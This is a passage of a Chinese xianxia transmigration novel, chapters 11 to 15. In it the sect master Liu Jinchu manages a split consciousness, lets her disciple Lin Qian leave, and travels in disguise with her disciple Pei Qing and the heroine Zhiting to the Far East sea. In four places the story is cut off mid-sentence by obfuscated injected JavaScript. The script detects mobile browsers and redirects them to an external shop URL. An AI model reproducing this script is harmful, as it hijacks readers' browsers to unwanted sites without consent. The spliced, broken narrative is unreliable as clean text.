她也没让自己受苦,立刻在体内运转灵气缓解不适,顷刻间那晕眩感便消失得一干二净,柳今初付了车钱,便走进了草市里。 好在这草市持续到傍晚,换到偏远一些的地方,那城外的草市多半在正午前便散了。草市虽有些简陋,老百姓都就地摆着摊子,只铺上些粗布,或找些空地搭好草棚便开始吆喝着买卖了。 柳今初一眼望去,这些百姓应都是农户,在自家摊子里摆卖的多是自产的东西,她看了看,打算买走些菜和肉,这样一来,她倒有了一种逛菜市场的熟悉感。 随意挑了一些蔬菜,柳今初买下几颗白菜和萝卜,不过仔细一看,这白菜又不太像白菜,又听那农户唤这菜叫“葵”,她便知了,按着那农户的报价付了钱。 这样一路买买买她也没用光自己的开元通宝,但直接送给这些贫苦的农民也不是个好法子,于是柳今初便只好偷偷找个没人的地方,把这些钱又变成了几袋米,用米换这些农户的粮食。 做完这些善事,柳今初觉着心情很美好,瞧着这傍晚的夕阳也更红火了,若是这样生活下去,她的日子定是蒸蒸日上的。 不过也该趁着暮色降临,离开凡间了。 * 连夜赶到九妖山后,柳今初只觉得自己应该从储存空间里找些自己在凡间铺子里买下的各式小吃解解馋了,对于这个储存空间,柳今初十分喜欢,毕竟它解决了不能随时携带大型冰箱的难题。 正当她在草地上盘腿席地而坐,咬下一口桂花糕时,忽地想起自己该看看远在元剑地修炼的另外一个灵识了,如同心有灵犀的感应一般,她隐约觉得还在闭关修炼的自己会遇到什么事,转眼间便看到了另外一个场景。 “林谦请求与师尊相见,弟子有要事与师尊说。”林谦已经在元剑地石门外待了有三日了,仍旧未改变一点对求见师尊的想法。 柳今初觉着奇怪,但也没有拒绝林谦的请求,不过她是才得知林谦已经在门外求见三日了,或许是对分开掌控两个灵识对她有些难度,她若是不主动用主灵识探看副灵识的情况,便对一些事情无所察觉,好在她能感知到副灵识是否有危险。 “你算是第一个成功打扰为师闭关修炼的弟子了,有何要事能让你甘愿在门外跪上三日?”柳今初还是那一身齐胸襦裙,梳着简单的发式,模样看着没有什么变化。 “你在此地说清楚便可,这里没有其他人。”察觉到林谦的视线越开自己,欲看向自己身后虚掩着的石门,柳今初面色如常地开口。 “恕弟子无能,徒儿林谦,请求柳宗主……准许徒儿辞师,还俗归家。”林谦刚起身,又伏地跪下,模样看着谦卑极了。 柳今初听完,沉默着,不是在惊讶什么,而是在想他口中的“还俗归家”未必是真的“还俗归家”,或许这次辞师请求另有所图。 林谦见柳今初没有开口询问原因,也没有说些其他什么话,不由得攥紧自己已经被冻裂开的手,握了一掌心的冰雪。他现在虽是筑基期有了些灵力在体内,可仍然是凡人之躯,在这高寒的山峰一连跪了三日身体已然吃不消了。 过了约有半刻钟,柳今初才启唇,淡粉的唇一张一合,语气温和,说出的话却一语中的,“既然你心意已决,为师便不留你了。” 语毕,柳今初没有听到林谦的回应,耳边只有呼啸的风声,眼前也只有少年诧异又惊讶的神情,他眼睛睁得太大,近乎要让眼眶裂开的程度。 柳今初自然知道他心里在想什么,但她也不愿再解释什么,转身打开了石门,进入那恢宏的世界里,素色的衣衫被暖黄的烛火尽数吞没。 待石门关上,发出一声沉闷的响声,还双膝跪在雪地上的少年才愣怔起身,似是做了一个梦一般,摇摇晃晃地起了身,走向深不见底的阶梯,羸弱的身影随即没入风雪之中。 视角重新回到升起的篝火前,柳今初盯着鞋边的绿草没有说话,看着那草叶上映射的橙色火光良久,她才开始咀嚼口中的桂花糕,方才咬了一口没顾得上吃便过去处理林谦的事了。 就这么沉默着吃完一块桂花糕,柳今初觉得自己该多适应适应随时切换视角的能力了,否则这么好用的分身术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳今初仔细一看,发现黑夜中有着星星点点的灯火,随后在高空中的自己顷刻间就出现在了地面上,还不慎撞到了一个摊贩的摊子,摔在了地上。 这还不算惊悚,让柳今初惊悚的是扶她的人是裴卿,他将自己扶起站定后,不知从哪里变出了一支浅青色的步摇,那步摇看着做工虽算不上精致,但也看得出是个精巧的东西了,珍白的珠子细小却串得整齐,随着裴卿的动作轻轻晃动,晃出了些残影,重叠的影子是白色的,看着像极了交叠的花瓣。 待她将视线从步摇上挪开,看向自己,才发现这步摇已经从裴卿的手中来到了自己的发间。 柳今初顿了顿,看出来了这是个什么地方,是她第一次带着几个徒弟去凡间游逛的集市,那时正值元宵节,唐代宵禁被例外解除,是难得的灯火之夜。 那天裴卿的确赠给了她一支浅青色的步摇,只不过没有给她戴上。 12. 第十二章 那场离奇的梦便在此刻消失,宛若化作了晨间的云雾一般,待柳今初缓缓睁开双眼,已然消散在了晨光熹微之中,她试着努力回想一下梦中的细节,换来的却是太阳穴处传来的一顿一顿的疼痛感,她蹙了蹙眉,正欲起身时,耳旁便传来一声轰响,震得她完全清醒过来,迷蒙的眼也变得清醒起来。 这九妖山也不愧是危险重重之地,也庆幸昨夜她睡得安稳,竟能有个怪异的梦可做,可转念一想,梦本身就是光怪陆离的。 未等她起身瞧瞧是什么情况,离她最近的一棵树便直直向她倒去,再往前看些,那断掉的树正是一只浑身棕毛的庞大妖兽所撞的,眼下这叫不出名字的棕毛怪已经站住了身,仰天嚎叫一声便朝着别处去了。 柳今初顿了顿,用手撑着地,立刻从原地起身,要侧身避开那轰然倒地的粗大枝干,待她回神才发觉这是自身避险的下意识动作。 可惊险未过,一声令她浑身一滞的询问便传入了耳中。 “姑娘当心!”那是一声低沉而有力的呼喊。 柳今初一听便认出了这是谁,她只能认栽,如今她还是个凡人的样貌,身上也没透露半分灵气,任谁见了都会觉得她只是个误入九妖山的普通女子。眼下她只能暗自把昨夜筑起的屏障悄悄解除,又在体内运转一丝灵气,她不敢一次运转太多担心来人察觉出什么。 没有犹豫半分,柳今初便借着那棵栽倒的树掩藏自己的半边身子,侧身跌掉在地,垂落的发丝散乱,遮住了半边脸,露出的双手也被树杆上粗糙的树皮划开几个口子,被树身压住的脚踝也慢慢显现青紫之色。 柳今初虽没感觉有什么痛感,却也努力皱着眉,紧咬着下唇,似是要咬破见了鲜红的血才罢休一般,灰扑扑的脸上已然是一副痛苦欲绝的神情。 果真如她所想,压着她脚踝的树身迅速被人抬起,几片干枯的树皮还应景地落在她的衣裙上,让她模样瞧着更是狼狈。 待坐在草地上的女子抬头,便瞧见一个神情严肃的青年半蹲着身子,朝她伸出右手,柳今初看了一眼那满是划痕正冒出鲜血的手掌,犹豫了一下还是把自己的手搭了上去,借力起了身,单脚站立着,时不时用空着的手触碰那开始发肿的脚踝。 女子抬眼看了看扶着她的青年,身材高大,半弯着腰便遮去了些日光,高高竖起的长发轻晃着,有几缕擦过她放在他肩头的手背,有些痒,而那些伤口被再次划到她倒是没有太大感触。 为了再像个受惊的凡人一些,柳今初开始四处张望,没顾及裴卿说的无非有意冒犯的话,自顾自开口问,声音也是怯怯的,“公、公子,那怪东西去了何处?可还会再回来?” 见她这般痛苦,又受了不小惊讶,裴卿沉声冷静道:“姑娘,那不是什么怪东西,是罴,只是更为壮大些。” 罴在古代是指棕熊,是百姓认为比虎更要凶猛的野兽,柳今初庆幸自己爱看些娱乐的书书画画,没下意识问“罴”是什么,否则按裴卿小心谨慎的行事风格,他定会对自己的身份起疑心,毕竟哪位老百姓不知罴这种凶猛的动物呢。不过她怎会真信裴卿所言,方才那浑身棕毛的庞然大物定然是什么妖兽,与灵气相似,妖气自也是修士仙者可用自身灵识察觉出的气息。 不过心中虽是如此想,柳今初面上还是松开了紧皱的眉头,大口喘着气,似是一副惊魂未定的模样,连忙开始道谢,一边说着,一边将自己搭在裴卿肩头的手松开。 “为不让姑娘再遇险,若姑娘准许的话,我会送姑娘出了这林子。”裴卿见她松开了手,也没再扶着她,转而用手点了点自己背着的那把剑,继续道:“姑娘不必担心,在下会些用刀的手段,对付这林间的猛兽也是有些经验的。” 难得见裴卿开口解释这么多,柳今初不禁有些哑然,愣怔一瞬,半晌才似缓过神来般,缓缓眨了眨眼,但这模样落在裴卿眼中便是应许了。 半日过后,柳今初便在裴卿的护送下出了模样好似密林的九妖山,这九妖山长满了各式各样的花木,也时常有凡间的鸟兽以外飞到九妖山,这样一想,有凡间百姓误入此处也在情理之中。 与裴卿分离时,柳今初脚踝处的淤血已经散去大半,肿也消的差不多了,这也多亏了裴卿的帮忙,若不是此次偶然撞见,柳今初还不知裴卿竟会用草药治脚踝淤肿,不过看这消肿速度有些太快了,她不用灵识探查也知裴卿用了些灵气悄悄给她缓解淤肿。 “多谢公子了,若不是恰巧遇上了你,恐怕小女子这次会是凶多吉少了。”柳今初诚恳道,待裴卿说完“无妨。”后便顺利与他分开了。 看着他转身又前往九妖山的背影,柳今初不禁有些感慨,徒儿长大成人,心中已然有了些守护苍天、愿天下太平的想法了。 只不过这次救的凡人却是自己的师尊,柳今初轻摇了摇头,内心作罢,转念再想,自从裴卿与芷汀相处过后,裴卿的确有了不少变化,但从与他人的交流来看,他的话好在也多了几句。 可没等她再深想,那熟悉的呼唤感又从心底传来,不过这次她从容地转动灵气,毕竟有了上次林谦求见的经验了。转眼间柳今初便身处在灯火辉煌的元剑地中,她垂眼看向腰间泛起湖蓝灵光的玉佩,杏眸中无奈之色流露,拂袖抬手取下那玉佩,她先前决定闭关修炼这件事还未同裴卿说,那便只能借此机会说清楚了。 注入灵气后,柳今初再次看见了那张青涩中渐渐显露棱角与锋芒的脸,她不得不承认,身为男主的裴卿的确生得颇有些惊天动地的意味,凤眸长睫,剑眉星目,薄唇轻抿,这般正气的样貌偏偏又因为眉尾处的一颗红痣而染上一份妖异之色,是难以言说的俊朗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792320|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 只是她还未见过芷汀,不知原著里那温柔似水,坚韧又亲和的女主是何等天仙样貌,如此想着她出了神,待裴卿轻唤师尊她才回神,找补似地道:“是为师的错,念你在外历练,却是忘了和你说我是闭关修炼之事。” 裴卿听完先是如往常一般用“无妨”回应,又恭敬地补充:“徒儿并未责怪师尊。” 正当柳今初不知找些什么话题与他再说上几句时,又听那沉哑的嗓音道:“师尊何时出关?” 柳今初顿了顿,她倒是没有细想过这个问题,或许说她未料到裴卿会问这个问题,毕竟何时出关也并不是她想便可以的事。 秉持着尽可能回应徒弟任何问题的态度,柳今初敛眸,思考要着如何回答,昏黄的灯光投射在她的脸庞,将发丝映射出的几缕影子浅浅地印在她紧闭的唇上。 似是灵气运化不稳定了,裴卿有些看不清柳今初的神情,欲启唇说些什么,却是没发出声音。 “在你历练完,回到宗门之前。师尊定然会在宗门的大门处迎接你。”柳今初说完最后一个字,终于抬眸看向他,愿裴卿没看出她心底的不确定与虚心吧。 裴卿并未正视师尊,而是看着她的发,上面有烛光的橙红暖色的反光,“徒儿还有一问,愿师尊能再回答。” “你说便是。”柳今初看着他狭长的凤眸,忽然觉得儿时的裴卿眼睛很是圆,但越是长大,那眸便越似削去了圆圆的轮廓,变得愈发锐利了。 “师尊可是收下那位空灵根弟子了?”似是觉着问得有些突兀,他又启唇补充,“徒儿离了宗门,对宗门的许多事都了解渐少。” 回应他的先是一声轻轻浅浅的笑声,柳今初笑时喜欢眯着眼睛,这般笑让她感到自在,待她轻颤的肩头渐渐停了,柳今初才睁开双眼,杏眸里似是有了一些水光。 “是收下了,毕竟他和你一样,有很不错的修炼天资。” “不过裴卿,你这是想宗门了吧?挂念你师兄师姐了?”柳今初倒是没有逗弄调侃他的心思,于是为了安抚一下徒儿,她又道:“念及宗门有何不好,我们裴卿有家,念家是常有的事,师尊这样的人也会念家。” 此语毕后,柳今初久久没等到裴卿回话,正当她以为原著里高冷甚至可以说有些高傲的裴卿实在是禁不起调侃时,裴卿如往常一般轻声回应,“是念家了。” 这回轮到柳今初沉默了,她没料想到裴卿回这般说,正在脑中演绎着如何把话绕回去时,迎来的却是这样的回答。 不过柳今初是谁,作为一个忙碌的上班族,她应对过许多客户,见过许多场面圆话题这种事就算她再如何不擅长,也找出来一些通用的法子。 只是希望在这最后次通话后,她能如愿以偿地保证那个约定能真正做到,不让徒弟失落而归吧,那么她只能再跟紧他一些了。 13. 第十三章 阴差阳错地被裴卿送出九妖山后,柳今初打算再变化一下样貌,为了让新的形象与真实的自己更判若两人一些,她借鉴了一下先前在凡间听说书时那说书人口中远东海域的东海之女的形象。听闻这东海之女气度不凡,一双狐狸眼中尽数透露着勃勃的野心,如此妖艳又神秘的气质她不敢想象出现在自己身上要如何把控和维护。 略微施展了一些灵气,转眼间便化身成了一位身着浅紫衣衫的女子,衣衫上的暗纹是海底贝类的图案,这身衣裳的样式也与深居内陆的地域的有所差别,她原本圆润的杏眼变得狭长许多,身上那几分懒散的气息因为外貌的变化而化作凌厉之气,淡粉的唇色更深几分,让人觉着这女子总透露些肃杀之气来。 这般形象,不说身亲近之人辨认不出,连她这个知情人照了镜子也未必能一下反应过来。 柳今初摆弄了一些裙摆,觉着太过华丽了,不似平日她穿的那般简单平淡,想来这位东海之女是位衣食无忧、有权有势的女子,她虽不清楚东海是个什么地方,但依据这身装扮,觉着东海是个富裕十足之地。 柳今初没立即回到九妖山,毕竟她来这的目的不只是为了裴卿,对于林谦与魔族气息出现的探查才是当务之急,柳今初先前便料想到了林谦会提出辞师的请求,毕竟还是个孩子,心思再如何深沉细腻,也比不上她这个在职场游走多年的人,只是她很好奇,林谦为何会与魔族有关系,魔族不是如夏侯商所说早已被封印在远东海域了么,他们又是如何联系的,仅凭那块黑黢黢的原石吗? 她思绪太乱,眼下又在九妖山山脚处随处逛走着,不知不觉间便又来到了凡间,只是她没像上次那般来到了繁华的都市里,而是来到了边缘地带的都城,柳今初进去待了几日,忽地发觉这似是宋代,她有些疑惑,先前凡间不是还处在唐代,思来想去解释不通,她觉着原著里所谓的凡间是几个朝代时段的杂糅体了。 但这不重要,她便没多想,她将储存空间内的吃食吃得差不多了,才把身上的银子化成一些会子,买了些吃食便继续游逛,因为意外遇见裴卿这个变故,她这能再在凡间玩上几日了。 不过正当她悠哉悠哉地东瞧瞧西看看时,一个浑身灰布动作飞快的男子朝她猛冲过来,柳今初定睛一看,他手上似是拿了些什么,还未等她看清楚,自己已经下意识侧身躲避了,随后一声响亮清脆的“站住”便传入耳中。 柳今初下意识向后看去,没顾得上拉住那可疑的灰布男子,手中才刚咬了一口的炊饼也掉落在地,沾了土块。 只见一匹棕色骏马飞驰而来,棕马矫健,稳步又迅疾,马背上的素色白衣飞舞,在扬起的尘埃中显得更为白净,好似仙人一样一尘不染。 视线上移,柳今初想看清来人是谁,毕竟在这里还能骑上骏马的人应是什么大有来头的人,只瞧见是一名女子,只是这马的速度太快,她看不清女子的样貌,只依稀辨认出她发间有一支白玉簪子,温润的白玉在浓黑的黑发里尤为明显。 等回过神,那白衣飞舞的女子身影已经消失,柳今初赶忙弯下身子将掉落的炊饼拾起,顾不上衣衫滑落沾上什么尘土了,她没忘记刚来这里时,自己看见城门张榜写的那些规矩,她磕磕巴巴读完才知这里有明文规定,若是乱扔什么东西在地上可是要挨上六十扙打的,即来了人间那便要从这里的规矩。 正可惜着这炊饼没尝出味就掉地上了,就见一双玉白的手捏着一张热腾腾的炊饼递到她眼前,柳今初眨了下眼,抬头便见到一张倾国倾城的脸,生得一双含情似水的桃花眼,在一看发上的玉簪,柳今初认出那是方才骑马的少女。 “姑娘,方才见你被那灰衣男子撞掉了炊饼,我替他再买了张。多有冒犯了,还望姑娘不要见怪,那人是个偷儿,夺了他人的钱袋,姑娘今后多多注意便是。” 听她轻声说完,柳今初有些惊讶,一个骑马飞驰的凡人竟还能注意到自己被人撞掉了炊饼,但她再看那向那张如吹水芙蓉般的脸,又察觉到了几丝不同寻常的气息。 柳今初道:“多谢姑娘了,不知这位姑娘如何称呼,竟有如此善心。” “唤我芷汀便好。不过还望姑娘原谅,在下有要事在身须先行一步,愿来日再与姑娘相见。”芷汀顿了顿答道,随即歉意一笑,站直身拉上端站在身侧的骏马,一气呵成地翻身坐上马背,驭马离开。 柳今初手里捏着还冒着热气的炊饼,梨涡轻现,勾着唇角,她正打算吃完自己买的炊饼就动身去九妖山,却是先遇上了原著女主,不过真如小说里描述的那般,芷汀真切是个温柔正直的天仙。 待她动身前往九妖山已是暮色降临之时,柳今初本身便穿着浅紫的衣裳,在暮色里仿佛是化作的彩霞,若远远一看便觉得那只是彩云的一部分。 待她来到九妖山山顶,天幕已布满星辰,星星点点,柳今初看着觉着好似老家的天空,毕竟在城市里,她很少见到这么多的星星,或许说抬头看看夜空的次数不及从前了。 能有这些空闲回想从前,还得益于这一路赶来,柳今初从未见到一只妖兽,这种情况显然很奇怪,但原因不知,不过这般不寻常的景象往往和主角挂钩,柳今初环顾四周觉着以裴卿的修为,他应是会为了逼迫自己突破金丹后期在这时冒险来九妖山中心寻妖兽的。 如此想着,柳今初察觉周身有些不对,收起心绪,出声道:“来者何人?” “姑娘,我们竟又在此处见面了。” 侧身回头一看,看见来人柳今初没站稳脚步,浅紫的裙摆轻晃,好在自己身侧有这一棵高大的树,她可以借力靠着,自从分身后,她本体的灵气就缺了一部分,不过换算过来,自己似是处在元婴期后期,修为远远超出芷汀,但她还不太适应运转灵气的感觉,可谓是空有满腹诗书,欲说出几句绝世佳句须些时日的意味。 “芷汀姑娘别来无恙,还有……这位公子是?”柳今初刻意隐藏了自己的修为,暗自压低许多,若是处在金丹期的两人探查,只会觉得她处在金丹初期而距离中期遥遥不可及的阶段。 “在下百里裴卿。”青年开口,随后便没了声音,高高竖起的长发垂在身后,有几缕搭在背后的剑柄上。 若不是他还站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“芷汀姑娘,你和这位公子相识多久了,可也是同伴,一同来此历练?”柳今初看着这般郎才女貌,开口询问两人相处的状况,随手捡起落在草地上的落叶把玩。 “不瞒你说,这次才是我与裴卿相见的第二面,关系可没季安你和你那位同伴好。”芷汀主动坐在柳今初身侧,侧头同她说道。 “可我觉着芷汀你和裴卿似是相识了很久一般。”柳今初凭借着记忆,想到在小说前期是芷汀先喜欢上裴卿的,到了将近仙魔劫那段情节时裴卿才表明心意,于是便开始旁敲侧击。 “我看未必,我见与妖兽打斗的次数要比同我说话的次数要多上许多呢。”芷汀细声回应道。 柳今初听着又看向裴卿,觉着徒儿对晋升似是有些执着了,却见月下的他抵靠着木,在月光盈盈下那双凤眼低垂,注视着手中的东西,她看不太清,那东西似是完全被他的手掌包裹住了,遮得严实,只能见到从指节中露出的白色细绳。 忽地,裴卿似是察觉到了有人正向他看来,手指微动,回视她。 柳今初顿了顿身形,她看清楚了,在他手心里的东西,是那缺了一半的玉佩,只是他似是将那挂绳与流苏换了,才与她印象里的浅蓝有异。 14. 第十四章 即已对视上,哪有就这么移开目光的道理,柳今初顺势开口问道:“裴卿公子,你来此历练多久了?可有待上几月?” 回应她的话简洁极了,只有三个字———五个月,柳今初都觉着女主芷汀能和裴卿搭上话实在是有些不容易,不过更让她在意的是,裴卿是有多拼命地历练才在这么短的时间内晋升为金丹后期的。 想到这里,柳今初不由地又看向那抚摸着玉佩的青年,才是发觉他已突破金丹后期了,方才她只是习惯性探查了一下,还未仔细斟酌什么,现在看来,他实在是有些操之过急了。 “裴卿公子,我还不知你的修为,可否告知一二?”柳今初似是在打趣他一样,用手指戳戳自己背后的湖蓝色屏障,“这屏障是何时筑起来的,方才我问你的时候么?” 裴卿将玉佩放回胸前的衣襟中,向两人走近两步后盘腿坐下,身上气息沉静冰冷,让人觉得与那冬日结冰的湖面一样,碰一下便会冻伤了手指,“金丹后期。” 后面那一问他没回答,但柳今初看着他面无表情的脸和那没有什么弧度的唇线,便也觉得他是默认了。 但得到的回答柳今初很是不满意,如此一来,自己的徒弟就成了冷冰冰又沉默寡言的木头,先不说能否与芷汀多说几句话,让感情升温一下,就他的人际交往问题,柳今初就觉得头疼了。 不知是她真认了师尊这个身份还是别的什么,柳今初总觉得自己还是要管管这般琐事的,虽然自己现在不是师尊的形象,如此对他好也不会让他增进半点恩师之情,但他不再冷冰冰地与别人相处,似乎也对恩师会更上心些。 柳今初当即行动起来,她虽平日懒散了些,但执行能力也不算差。只见那抹浅紫的身影移动,让三人的距离都变得适中许多,不再是两个姑娘紧挨着,而裴卿一人坐得与她们相差甚远,甚至有些格格不入。 既然小时候就没什么朋友,身边围着他的除了师兄师姐就是师尊了,那么现在便结交一位朋友,“裴卿公子,我见你晋升得如此迅速,想必是个十分有经验的……剑修了,可有什么秘诀相告一二?”柳今初看了一眼他那柄剑,这觉着个头真大,普通人搬弄起来定然很是费劲。 “对呀,我也很是好奇,是不是你们元剑宗长老传授的秘诀?”芷汀倾身,一副急于求知的模样。 柳今初听到自己有些茫然,不过她还是压制住了自己欲抬起的眉头,也学着芷汀那好奇的样子望向裴卿。 说起来她很在意裴卿心里有没有她这个师尊,她可不想这十几年的养育之恩被裴卿这高冷的人设轻易抹去了,如果真是这般状况,她岂不是白白努力十几年到头来还会在仙魔劫中被徒弟视而不见沦落为一个惨死反派手中的炮灰? 想得有些过了头,柳今初一时忘了自己此刻已不是师尊的身份了,而是一位是远东地区样貌的女子,轻吸了一口气正欲说些什么就见裴卿开了口。 他薄唇一张一合,在夜色里,那双眼又没映出篝火的火光,看起来像一滩沉寂湖水,“并未,不过师尊教导的很好。” 似是想起了什么,他又补充:“不过并非传言所说,师尊并未教我什么歪门邪道。” 芷汀这时也同他一样想起了什么,有些愤愤不平,“这是自然,柳宗主年少有为,我也觉着先前那些传言很是离奇,总之它们定会不攻自破。” 待芷汀说完,柳今初才是明白了两人在说些什么,这无非就是在说那个她用了什么邪书邪法让裴卿晋升迅速的谣言这件事,为了显得自己也对此感到十分不快,柳今初转头看了两人几眼,将不解摆在脸上,那双狐狸眼里透着不满,微微睁大又显得有几分震惊。 “这么一说,这柳宗主还被人诬陷过,就因裴卿公子这般勤奋上进了?”柳今初其实对裴卿的回答也有些惊讶,没料想到他还会提起谣言这一事。 “那是他们眼红,见不得别人光彩,不过柳宗主也是大量,没同这些人计较。”芷汀温声开口,那副回想的模样让柳今初觉着芷汀似是有些仰慕自己的,或许是说仰慕原主这位年轻的宗门长老。 但她更好奇裴卿对她的看法,于是又向裴卿的方向挪了挪,“裴卿公子,我见你修为这般高,还拜入了这柳宗主的门下,为何还会在此历练,在宗门不好么?有这样的长老指导,为何要出来受苦?” 这般问也是众多剑修所关心的问题,在外历练固然能助自己修为大增,积攒实战经验,可对应的,就要面临更多危险,更何况离开了师尊的指导,历练的成果就是不定的了,或许满载而归,却也不乏误入歧途和身受重伤的情况。 “这是我一人的选择,师尊也曾劝阻过。”裴卿低垂着头,敛眸看着灼灼的篝火,似是在回忆什么,不过语气仍是平淡的,没有什么波澜。 见他又是回答得如此简单,柳今初险些没忍住伸手扯他系这长发的发带,这条发带还是入门时她让他用的那根,而那时裴卿还是个五六岁的孩童,比现在话要多上一些,应是小孩子的天性吧,她稍微开导一下,那怯生生又不敢多说的矮个就会指着各处问她这啊那啊是什么了。 这样想着柳今初更是好奇了,他长大成人后还是这般行事,不会觉着孤独么,“裴卿,你话为何如此少,多说些也无妨。” 听到这句话,一直盯着篝火的青年身形一顿,抵在双膝上的手轻握了握,看向柳今初,眼中有着不解与试探,像是要借着自己的目光看穿眼前的人在想什么一般。 柳今初被这略带侵略性的目光盯得有些不舒服,转而换了话题,“不过说起来,这九妖山心腹之地似是太安静了些,我们在此待了这么久,竟是没见到一只妖兽。” 而裴卿似是也觉着这样看眼前这位衣着特别的女子有些不妥,也移开了视线。 芷汀久久没开口,一听柳今初这般说出自己心里的疑惑也跟着附和,“的确,方才我便发觉了,实在有些奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792322|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 柳今初仰起头看向布满星辰的夜空,想到了什么,动用灵气暗自探查起四周的环境,感受到的是无比的宁静,安静得能让她感受到到夜间草叶上珠水滴落的动静,这样静谧看似很安全,却让人心底不由得生出不安来。 连她都不知道为何这般怪异,那这蹊跷之上便是一位强于她的存在了,但柳今初不算慌张,毕竟有男女主在,她就算会出些什么事也不至于太严重。 可怪得是一连几日都是如此,却是没有任何危险发生,最多有几只低阶妖兽造访而已。 于是芷汀便提出了去远东海域历练的建议,说着自己先前历练至一半偶然探查到魔族气息的变故,芷汀似是对这件事还有些耿耿于怀,决定在九妖山待上了这几日后便要动身离开,前往远东海域继续历练。 柳今初自然是无所谓的,她去哪倒是取决于裴卿,毕竟裴卿在哪,那惦记自己徒弟体内的剑魂的人便会追查到哪,而她所在意的情节变故就在此处。 这几日相处下来,柳今初已然和芷汀成了近乎可以说是形影不离的朋友了,应是由于作为十分亲和友好的女主的缘故,芷汀总是很照顾柳今初,在提起远东海域时还会问起柳今初的情况。 “我见季安姑娘是一身远东海域的装扮,应是那边的人,此次换行,可否同我一起?”芷汀道。 说到此处,柳今初看了看自己一身浅紫的衣裳,褶皱颇多,有些浪花的意味在内,“未尝不可,不过我们离开九妖山,此地便只剩裴卿一人孤零零地历练了。”柳今初总会时不时提到裴卿,想着把他拉入话题中,改改他这总站在一旁不做声的样子。 “也是,所以裴卿可愿换处地方历练?远东海域边缘妖兽遍布,那处的凡间百姓时常受到侵扰,而且魔族也曾被镇压在此处,如今又有魔族气息出现的乱子,这一行我必然要去。”芷汀闻声补充道。 见裴卿没有拒绝,柳今初一行人便动用各自的方式前往远东海域,只是柳今初与裴卿一样用御剑的方式行了大半的路程,最后两人才又借助芷汀的传送符纸抵达了远东一处繁华的海口处。 柳今初望着那不断奔涌向前拍打着岸边暗黄色沙地的海浪,再向更远处望去,深色的海水近乎是蓝到发黑的地步了,只有海平线处,那红日照耀的海域还泛着红色的波光,其余海域就只剩浓重的蓝色了。 这番有些暗沉的画面让柳今初感觉周身的空气都凉了几分,不过这也是傍晚了,夜里易受凉也不是什么稀奇事。 正当她欲返回刚定下的客栈时,红日便完全没入了海水之中,陆上的风愈发大了,海浪的窸窣声也渐渐小了,有了月光淡淡铺洒,显得静谧得出奇,柳今初扯了扯衣角觉着还是尽快回至屋内才行,这夜实在有些冷凉了,转身之时便险些撞上了一个宽大的胸膛。 柳今初惊得差点叫出声,懊悔着自己似乎掩藏灵气有些过了,一抬眼便看见那双幽幽盯着她的狭长双眼。 15. 第十五章 那人似是没料到她会转身,身形停顿片刻后,他向后退了一步,拉开了些距离,面上仍是那般风平浪静。 “裴卿,找我有何事?”柳今初压下心中的不解,也向后稍稍退了半步,感受到了被海水濡湿的沙粒因她的重量而微微下陷的感觉,她觉着这样站着有些不安全,担心涌上岸边的海水会沾湿了自己的裙摆。 “去客栈吧,海水正在上涨。”裴卿没有直接回应她的话,先转身往客栈处走了。 柳今初弄不清楚徒弟在想什么,盯着他的背影看了片刻,忽然觉得裴卿长高了许多,方才与她站在一块时,应是已经高出她半个头了。 明明她对他的印象还停留在刚及她肩头的少时孩童模样,或许说那时候的裴卿与她说的话会多些,也更主动一些,不知为何她又想起了那个他为自己戴步摇的梦,在那个梦中他似也高出自己半个头。可记忆里,她带他去凡间时,裴卿也才刚刚与她同高而已。 两人一前一后进入客栈后,柳今初透过纸窗向外看去,红日已经没了身影,只有无尽的深黑海水在轻轻漫动。 客栈的一层摆有几张木桌木椅,在掌柜收银处还堆叠着几坛酒,掌柜似是有些倦了,靠在木台上撑着脸,眼皮半睁不睁的。 裴卿缓步走过去,叩响木台,和掌柜说了些什么,柳今初还站在门槛前,距离有些远听不清他们的交谈声。 “这些天,尽量早些闭门。”裴卿沉哑的声音在柳今初听来有些模糊,不过这场交谈的最后一句她还是听到了。 不过裴卿这句话倒是提醒了她,初次踏入这片海域时,柳今初就觉着有些怪异,但说不清哪里怪,而且近些天来,她察觉到自己体内的灵气有些波动,倒也不是减弱反而有增长的迹象,她觉着是自己闭关修炼的缘故,虽与分身相差了万里,但分身日夜吸收的灵气也分渡了部分给她。 这般想着,柳今初已经坐在了靠近胡梯的位子处等待裴卿,她盯着那层层向上延伸的木制梯子,指尖圈着一缕发丝轻轻绕转,似是出了神。 